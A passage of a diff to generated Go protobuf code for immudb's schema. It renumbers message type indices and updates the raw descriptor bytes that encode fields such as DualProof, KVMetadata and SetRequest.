*ErrorInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{114} + return file_schema_proto_rawDescGZIP(), []int{115} } func (x *ErrorInfo) GetCode() string { @@ -8010,7 +8078,7 @@ type DebugInfo struct { func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8023,7 +8091,7 @@ func (x *DebugInfo) String() string { func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8036,7 +8104,7 @@ func (x *DebugInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{115} + return file_schema_proto_rawDescGZIP(), []int{116} } func (x *DebugInfo) GetStack() string { @@ -8058,7 +8126,7 @@ type RetryInfo struct { func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8071,7 +8139,7 @@ func (x *RetryInfo) String() string { func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8084,7 +8152,7 @@ func (x *RetryInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{116} + return file_schema_proto_rawDescGZIP(), []int{117} } func (x *RetryInfo) GetRetryDelay() int32 { @@ -8107,7 +8175,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8120,7 +8188,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8156,7 +8224,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8169,7 +8237,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8207,7 +8275,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8220,7 +8288,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8474,1324 +8542,1338 @@ var file_schema_proto_rawDesc = []byte{ 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0xf5, 0x02, 0x0a, 0x09, 0x44, - 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, - 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, - 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, - 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, - 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, - 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, - 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, - 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, - 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, - 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, - 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, - 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, - 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, - 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, - 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, - 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, - 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, - 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, - 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, - 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, - 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, - 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, - 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, - 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, - 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, - 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, - 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, - 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, - 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, - 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, - 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 